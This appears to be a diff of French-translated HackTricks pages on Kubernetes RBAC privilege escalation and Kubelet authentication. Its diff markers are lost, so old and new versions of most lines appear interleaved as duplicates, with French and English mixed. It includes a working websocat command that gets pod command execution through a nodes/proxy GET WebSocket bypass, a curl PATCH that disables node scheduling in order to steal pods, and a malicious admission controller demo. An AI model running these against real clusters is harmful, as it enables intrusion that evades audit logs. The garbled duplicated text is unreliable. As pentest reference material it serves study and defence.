Les principaux qui peuvent **créer des TokenRequests** (`serviceaccounts/token`) lorsqu'ils communiquent avec le point de terminaison API K8s SAs (info de [**ici**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Les principals qui peuvent **create TokenRequests** (`serviceaccounts/token`) lorsqu'ils interagissent avec l'endpoint API K8s SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Les principaux qui peuvent **`update`** ou **`patch`** **`pods/ephemeralcontainers`** peuvent obtenir **l'exécution de code sur d'autres pods**, et potentiellement **s'échapper** vers leur nœud en ajoutant un conteneur éphémère avec un securityContext privilégié.
Les principals qui peuvent **`update`** ou **`patch`** **`pods/ephemeralcontainers`** peuvent obtenir une **exécution de code sur d'autres pods**, et potentiellement **s'échapper** vers leur nœud en ajoutant un ephemeral container avec un securityContext privilégié
### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Les principaux avec l'un des verbes `create`, `update` ou `patch` sur `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` pourraient être en mesure de **créer l'une de ces configurations de webhook** afin de pouvoir **escalader les privilèges**.
Les principals disposant de l'un des verbs `create`, `update` ou `patch` sur `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` pourraient être capables de **créer une telle webhookconfiguration** afin de **escalader des privilèges**.
Pour un [exemple de `mutatingwebhookconfigurations`, consultez cette section de ce post](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Escalader
### Escalate
Comme vous pouvez le lire dans la section suivante : [**Prévention intégrée de l'escalade de privilèges**](#built-in-privileged-escalation-prevention), un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le **verbe `escalate` ou `*`** sur **`roles`** ou **`clusterroles`** et les options de liaison respectives.\
Alors il peut mettre à jour/créer de nouveaux rôles, clusterroles avec de meilleures permissions que celles qu'il a.
Comme expliqué dans la section suivante : [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principal ne peut ni update ni create des roles ou clusterroles sans posséder luimême ces nouvelles permissions. Sauf s'il dispose du **verb `escalate` or `*`** sur **`roles`** ou **`clusterroles`** et des options de binding correspondantes.\
Dans ce cas, il peut update/create de nouveaux roles, clusterroles avec des permissions supérieures à celles qu'il possède.
### Proxy des nœuds
### Nodes proxy
Les principaux ayant accès à la sous-ressource **`nodes/proxy`** peuvent **exécuter du code sur des pods** via l'API Kubelet (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Plus d'informations sur l'authentification Kubelet sur cette page :
Les principals ayant accès au subresource **`nodes/proxy`** peuvent **exécuter du code sur des pods** via l'API Kubelet (selon [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Plus d'informations sur l'authentification Kubelet sur cette page :
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Vous avez un exemple de comment obtenir [**RCE en parlant autorisé à une API Kubelet ici**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### Supprimer des pods + nœuds non planifiables
- Kubelet mappe les méthodes HTTP vers les verbs RBAC **avant** l'upgrade du protocole. Les handshakes WebSocket doivent commencer par **HTTP GET** (`Connection: Upgrade`), donc `/exec` via WebSocket est vérifié comme **verb `get`** au lieu du `create` attendu.
- `/exec`, `/run`, `/attach` et `/portforward` ne sont pas mappés explicitement et tombent dans le subresource par défaut **`proxy`**, donc la question d'autorisation devient **`can <user> get nodes/proxy?`**
- Si un token n'a que **`nodes/proxy` + `get`**, un accès WebSocket direct au kubelet sur `https://<node_ip>:10250` permet l'exécution arbitraire de commandes dans n'importe quel pod de ce nœud. La même requête via le chemin proxy de l'API server (`/api/v1/nodes/<node>/proxy/exec/...`) est refusée car il s'agit d'un POST HTTP normal et mappe sur `create`.
- Le kubelet n'effectue pas de seconde autorisation après l'upgrade WebSocket ; seul le GET initial est évalué.
Les principaux qui peuvent **supprimer des pods** (verbe `delete` sur la ressource `pods`), ou **évincer des pods** (verbe `create` sur la ressource `pods/eviction`), ou **changer le statut des pods** (accès à `pods/status`) et peuvent **rendre d'autres nœuds non planifiables** (accès à `nodes/status`) ou **supprimer des nœuds** (verbe `delete` sur la ressource `nodes`) et ont le contrôle sur un pod, pourraient **voler des pods d'autres nœuds** afin qu'ils soient **exécutés** dans le **nœud compromis** et l'attaquant peut **voler les jetons** de ces pods.
**Exploit direct (requiert la connectivité réseau vers le kubelet et un token avec `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Utilisez le **Node IP**, pas le nom du node. La même requête avec `curl -X POST` sera **Forbidden** parce qu'elle correspond à `create`.
- Un accès direct au kubelet contourne l'API server, donc AuditPolicy n'affiche que les `subjectaccessreviews` provenant de l'user agent du kubelet et **n'enregistre pas les commandes `pods/exec`**.
- Énumérez les service accounts affectés avec le [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) pour trouver des tokens limités à `nodes/proxy` GET.
### Supprimer des pods + rendre des nodes non planifiables
Les principals pouvant **supprimer des pods** (`delete` verb sur la ressource `pods`), ou **expulser des pods** (`create` verb sur la ressource `pods/eviction`), ou **modifier le status d'un pod** (accès à `pods/status`) et pouvant **rendre d'autres nodes non planifiables** (accès à `nodes/status`) ou **supprimer des nodes** (`delete` verb sur la ressource `nodes`) et contrôlant un pod, pourraient **voler des pods d'autres nodes** pour qu'ils soient **exécutés** sur le **node compromis** et l'attaquant pourrait **voler les tokens** de ces pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,41 +662,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Services status (CVE-2020-8554)
Les principaux qui peuvent **modifier** **`services/status`** peuvent définir le champ `status.loadBalancer.ingress.ip` pour exploiter le **CVE-2020-8554 non corrigé** et lancer des **attaques MiTM contre le cluster**. La plupart des atténuations pour le CVE-2020-8554 ne préviennent que les services ExternalIP (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Les principals qui peuvent **modifier** **`services/status`** peuvent définir le champ `status.loadBalancer.ingress.ip` pour exploiter la **CVE-2020-8554 non corrigée** et lancer des **attaques MiTM contre le cluster**. La plupart des mitigations pour CVE-2020-8554 n'empêchent que les services ExternalIP (selon [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Nodes and Pods status
Les principaux avec des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status`, pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.
Les principals disposant des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status` peuvent modifier des labels pour affecter les contraintes d'ordonnancement appliquées.
## Built-in Privileged Escalation Prevention
Kubernetes a un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'escalade de privilèges.
Kubernetes dispose d'un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'élévation de privilèges.
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles**. L'application de cette règle se fait au niveau de l'API, fournissant une protection même lorsque l'autorisateur RBAC est inactif.
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des roles ou des role bindings**. L'application de cette règle se fait au niveau de l'API, offrant une protection même lorsque l'autorisateur RBAC est inactif.
La règle stipule qu'un **utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les permissions que le rôle comprend**. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même espace de noms (ou à l'échelle du cluster) pour les Roles.
La règle stipule qu'un **utilisateur ne peut créer ou mettre à jour un role que s'il possède l'ensemble des permissions que le role comprend**. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du role qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même namespace (ou à l'échelle du cluster) pour les Roles.
> [!WARNING]
> Il existe une exception à la règle précédente. Si un principal a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les permissions lui-même.
> Il existe une exception à la règle précédente. Si un principal a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**, il peut augmenter les privilèges des roles et clusterroles même sans posséder ces permissions luimême.
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Apparemment, cette technique a fonctionné auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les avez pas déjà.**
> **Apparemment cette technique fonctionnait auparavant, mais d'après mes tests elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les possédez pas déjà.**
Le privilège de créer des Rolebindings permet à un utilisateur de **lier des rôles à un compte de service**. Ce privilège peut potentiellement conduire à une escalade de privilèges car il **permet à l'utilisateur de lier des privilèges d'administrateur à un compte de service compromis.**
Le privilège de créer des Rolebindings permet à un utilisateur de **lier des roles à un service account**. Ce privilège peut potentiellement conduire à une élévation de privilèges puisqu'il **permet à l'utilisateur d'attribuer des privilèges admin à un service account compromis.**
## Other Attacks
### Sidecar proxy app
Par défaut, il n'y a pas de cryptage dans la communication entre les pods. Authentification mutuelle, bidirectionnelle, pod à pod.
Par défaut, il n'y a pas d'encryption dans la communication entre pods. Authentification mutuelle, bidirectionnelle, pod à pod.
#### Create a sidecar proxy app
Un conteneur sidecar consiste simplement à ajouter un **deuxième (ou plusieurs) conteneur à l'intérieur d'un pod**.
Un sidecar container consiste simplement à ajouter un **second (ou plusieurs) conteneur à l'intérieur d'un pod**.
Par exemple, ce qui suit fait partie de la configuration d'un pod avec 2 conteneurs :
Par exemple, ce qui suit fait partie de la configuration d'un pod avec 2 containers :
```yaml
spec:
containers:
@@ -685,17 +706,17 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Par exemple, pour créer une porte dérobée dans un pod existant avec un nouveau conteneur, vous pourriez simplement ajouter un nouveau conteneur dans la spécification. Notez que vous pourriez **donner plus de permissions** au deuxième conteneur que le premier n'aura pas.
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have.
Plus d'infos sur : [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Contrôleur d'admission malveillant
### Admission Controller malveillant
Un contrôleur d'admission **intercepte les requêtes vers le serveur API Kubernetes** avant la persistance de l'objet, mais **après que la requête soit authentifiée** **et autorisée**.
Un admission controller **intercepte les requêtes vers le Kubernetes API server** avant la persistance de l'objet, mais **après que la requête soit authentifiée** **et autorisée**.
Si un attaquant parvient d'une manière ou d'une autre à **injecter un contrôleur d'admission de mutation**, il pourra **modifier des requêtes déjà authentifiées**. Cela pourrait potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.
Si un attaquant parvient d'une manière ou d'une autre à **injecter un Mutation Admission Controller**, il pourra **modifier des requêtes déjà authentifiées**. Cela peut permettre potentiellement une privesc, et, plus généralement, de persister dans le cluster.
**Exemple de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) :
**Exemple provenant de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
@@ -721,11 +742,11 @@ kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image `nginx`, mais l'image finalement exécutée est `rewanthtammana/malicious-image`. Que s'est-il passé !!?
Comme vous pouvez le voir sur l'image cidessus, nous avons essayé d'exécuter l'image `nginx` mais l'image finalement exécutée est `rewanthtammana/malicious-image`. Que s'estil passé !?
#### Technicalités
#### Détails techniques
Le script `./deploy.sh` établit un contrôleur d'admission de webhook mutateur, qui modifie les requêtes à l'API Kubernetes comme spécifié dans ses lignes de configuration, influençant les résultats observés :
Le script `./deploy.sh` met en place un mutating webhook admission controller, qui modifie les requêtes vers l'API Kubernetes comme spécifié dans ses lignes de configuration, ce qui explique les résultats observés :
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -733,28 +754,28 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Le snippet ci-dessus remplace la première image de conteneur dans chaque pod par `rewanthtammana/malicious-image`.
L'extrait cidessous remplace la première image de conteneur de chaque pod par `rewanthtammana/malicious-image`.
## Contournement de l'OPA Gatekeeper
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## Meilleures Pratiques
## Bonnes pratiques
### **Désactivation de l'Automount des Jetons de Compte de Service**
### **Désactivation du montage automatique des jetons des comptes de service**
- **Pods et Comptes de Service** : Par défaut, les pods montent un jeton de compte de service. Pour améliorer la sécurité, Kubernetes permet de désactiver cette fonctionnalité d'automount.
- **Comment Appliquer** : Définissez `automountServiceAccountToken: false` dans la configuration des comptes de service ou des pods à partir de la version 1.6 de Kubernetes.
- **Pods et comptes de service** : Par défaut, les pods montent un jeton de compte de service. Pour renforcer la sécurité, Kubernetes permet de désactiver cette fonctionnalité de montage automatique.
- **Comment appliquer** : Définissez `automountServiceAccountToken: false` dans la configuration des comptes de service ou des pods à partir de la version 1.6 de Kubernetes.
### **Attribution d'Utilisateurs Restrictive dans les RoleBindings/ClusterRoleBindings**
### **Affectation restrictive des utilisateurs dans RoleBindings/ClusterRoleBindings**
- **Inclusion Sélective** : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans les RoleBindings ou ClusterRoleBindings. Auditez régulièrement et retirez les utilisateurs non pertinents pour maintenir une sécurité stricte.
- **Inclusion sélective** : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans RoleBindings ou ClusterRoleBindings. Auditez régulièrement et supprimez les utilisateurs non pertinents pour maintenir une sécurité stricte.
### **Rôles Spécifiques aux Noms de Namespace Plutôt que Rôles Globaux**
### **Rôles spécifiques au namespace plutôt que rôles à l'échelle du cluster**
- **Rôles vs. ClusterRoles** : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux namespaces plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un meilleur contrôle et limite la portée des permissions.
- **Roles vs. ClusterRoles** : Privilégiez l'utilisation de Roles et RoleBindings pour des permissions spécifiques à un namespace plutôt que des ClusterRoles et ClusterRoleBindings, qui s'appliquent à l'ensemble du cluster. Cette approche offre un contrôle plus fin et limite la portée des permissions.
### **Utiliser des outils automatisés**
@@ -777,5 +798,8 @@ https://github.com/aquasecurity/kube-bench
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,25 +1,25 @@
# Kubelet Authentication & Authorization
# Authentification et autorisation du Kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Authentification du Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**Depuis la documentation :**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Par défaut, les requêtes vers le point de terminaison HTTPS du kubelet qui ne sont pas rejetées par d'autres méthodes d'authentification configurées sont traitées comme des requêtes anonymes, et reçoivent un **nom d'utilisateur de `system:anonymous`** et un **groupe de `system:unauthenticated`**.
Par défaut, les requêtes vers le endpoint HTTPS du kubelet qui ne sont pas rejetées par d'autres méthodes d'authentification configurées sont traitées comme des requêtes anonymes, et se voient attribuer un **nom d'utilisateur `system:anonymous`** et un **groupe `system:unauthenticated`**.
Les **3** méthodes d'**authentification** sont :
Les **3** **méthodes** d'authentification sont :
- **Anonyme** (par défaut) : Utilisez le paramètre **`--anonymous-auth=true` ou la configuration :**
- **Anonymous** (par défaut) : régler le paramètre **`--anonymous-auth=true`** ou la configuration :
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook** : Cela va **activer** les **tokens bearer API** kubectl comme autorisation (tout token valide sera valide). Autorisez-le avec :
- assurez-vous que le groupe API `authentication.k8s.io/v1beta1` est activé dans le serveur API
- démarrez le kubelet avec les drapeaux **`--authentication-token-webhook`** et **`--kubeconfig`** ou utilisez le paramètre suivant :
- **Webhook**: Cela va **activer** les kubectl **API bearer tokens** comme autorisation (tout token valide sera valide). Autorisez-le avec:
- assurez-vous que le groupe d'API `authentication.k8s.io/v1beta1` est activé sur le serveur API
- démarrez le kubelet avec les **`--authentication-token-webhook`** et **`--kubeconfig`** flags ou utilisez le réglage suivant:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,10 @@ Les **3** méthodes d'**authentification** sont :
},
```
> [!NOTE]
> Le kubelet appelle l'**API `TokenReview`** sur le serveur API configuré pour **déterminer les informations utilisateur** à partir des jetons porteurs
- **Certificats clients X509 :** Permettent de s'authentifier via des certificats clients X509
- voir la [documentation d'authentification de l'apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) pour plus de détails
- démarrer le kubelet avec le drapeau `--client-ca-file`, en fournissant un bundle CA pour vérifier les certificats clients. Ou avec la configuration :
> Le kubelet appelle l'**`TokenReview` API** sur l'API server configuré pour **déterminer les informations utilisateur** à partir des bearer tokens
- **X509 client certificates :** Permettent de s'authentifier via des certificats clients X509
- voir la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) pour plus de détails
- démarrez le kubelet avec l'option `--client-ca-file`, en fournissant un bundle CA pour vérifier les certificats clients. Ou via la config:
```json
"authentication": {
"x509": {
@@ -40,14 +39,14 @@ Les **3** méthodes d'**authentification** sont :
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autorisation du Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Toute demande qui est authentifiée avec succès (y compris une demande anonyme) **est ensuite autorisée**. Le mode d'autorisation **par défaut** est **`AlwaysAllow`**, qui **permet toutes les demandes**.
Toute requête qui est authentifiée avec succès (y compris une requête anonyme) **est alors autorisée**. Le mode d'autorisation **par défaut** est **`AlwaysAllow`**, qui **autorise toutes les requêtes**.
Cependant, l'autre valeur possible est **`webhook`** (qui est ce que vous trouverez **principalement là-bas**). Ce mode **vérifie les permissions de l'utilisateur authentifié** pour autoriser ou interdire une action.
Cependant, l'autre valeur possible est **`webhook`** (c'est ce que vous rencontrerez **la plupart du temps**). Ce mode va **vérifier les permissions de l'utilisateur authentifié** pour autoriser ou refuser une action.
> [!WARNING]
> Notez que même si l'**authentification anonyme est activée**, l'**accès anonyme** pourrait **ne pas avoir de permissions** pour effectuer une action.
> Notez que même si l'**authentification anonyme est activée**, l'**accès anonyme** pourrait **ne pas disposer de permissions** pour effectuer une action.
L'autorisation via webhook peut être configurée en utilisant le **paramètre `--authorization-mode=Webhook`** ou via le fichier de configuration avec :
```json
@@ -59,41 +58,45 @@ L'autorisation via webhook peut être configurée en utilisant le **paramètre `
}
},
```
Le kubelet appelle l'API **`SubjectAccessReview`** sur le serveur API configuré pour **déterminer** si chaque demande est **autorisée.**
Le kubelet appelle l'API **`SubjectAccessReview`** sur le serveur API configuré pour **déterminer** si chaque requête est **autorisée.**
Le kubelet autorise les demandes API en utilisant la même approche des [attributs de demande](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que l'apiserver :
Le kubelet autorise les requêtes API en utilisant la même approche des [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que l'apiserver :
- **Action**
| Verbe HTTP | verbe de demande |
| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | créer |
| GET, HEAD | obtenir (pour des ressources individuelles), lister (pour des collections, y compris le contenu complet de l'objet), surveiller (pour surveiller une ressource individuelle ou une collection de ressources) |
| PUT | mettre à jour |
| PATCH | patch |
| DELETE | supprimer (pour des ressources individuelles), deletecollection (pour des collections) |
| Verbe HTTP | verbe de requête |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (pour les ressources individuelles), list (pour les collections, y compris le contenu complet de l'objet), watch (pour surveiller une ressource individuelle ou une collection de ressources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (pour les ressources individuelles), deletecollection (pour les collections) |
- La **ressource** communiquant avec l'API Kubelet est **toujours** **nodes** et la **sous-ressource** est **déterminée** à partir du chemin de la demande entrante :
- La **ressource** qui s'adresse à l'API Kubelet est **toujours** **nodes** et la **sous-ressource** est **déterminée** à partir du chemin de la requête entrante :
| API Kubelet | ressource | sous-ressource |
| ------------ | -------- | -------------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _toutes les autres_ | nodes | proxy |
| Kubelet API | ressource | sous-ressource |
| ------------ | --------- | -------------- |
| /stats/* | nodes | stats |
| /metrics/* | nodes | metrics |
| /logs/* | nodes | log |
| /spec/* | nodes | spec |
| _tous les autres_ | nodes | proxy |
Par exemple, la demande suivante a essayé d'accéder aux informations des pods de kubelet sans autorisation :
> [!NOTE]
> Les connexions WebSocket pour `/exec`, `/run`, `/attach`, et `/portforward` tombent dans la sous-ressource **proxy** par défaut et sont autorisées en utilisant la poignée de main HTTP initiale **GET**. Un principal disposant uniquement de `nodes/proxy` **GET** peut quand même exécuter des containers s'il se connecte directement à `https://<node_ip>:10250` via WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
Par exemple, la requête suivante a essayé d'accéder aux informations des pods du kubelet sans autorisation:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Nous avons reçu un **Forbidden**, donc la requête **a passé la vérification d'authentification**. Sinon, nous aurions simplement reçu un message `Unauthorised`.
- Nous pouvons voir le **nom d'utilisateur** (dans ce cas à partir du jeton)
- Vérifiez comment la **ressource** était **nodes** et le **sous-ressource** **proxy** (ce qui a du sens avec les informations précédentes)
- Nous avons reçu un **Forbidden**, donc la requête a **passé la vérification d'authentification**. Si ce n'était pas le cas, nous aurions obtenu simplement un message `Unauthorised`.
- On peut voir le **username** (dans ce cas depuis le token)
- Vérifiez comment la **resource** était **nodes** et la **subresource** **proxy** (ce qui a du sens avec les informations précédentes)
## Références
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}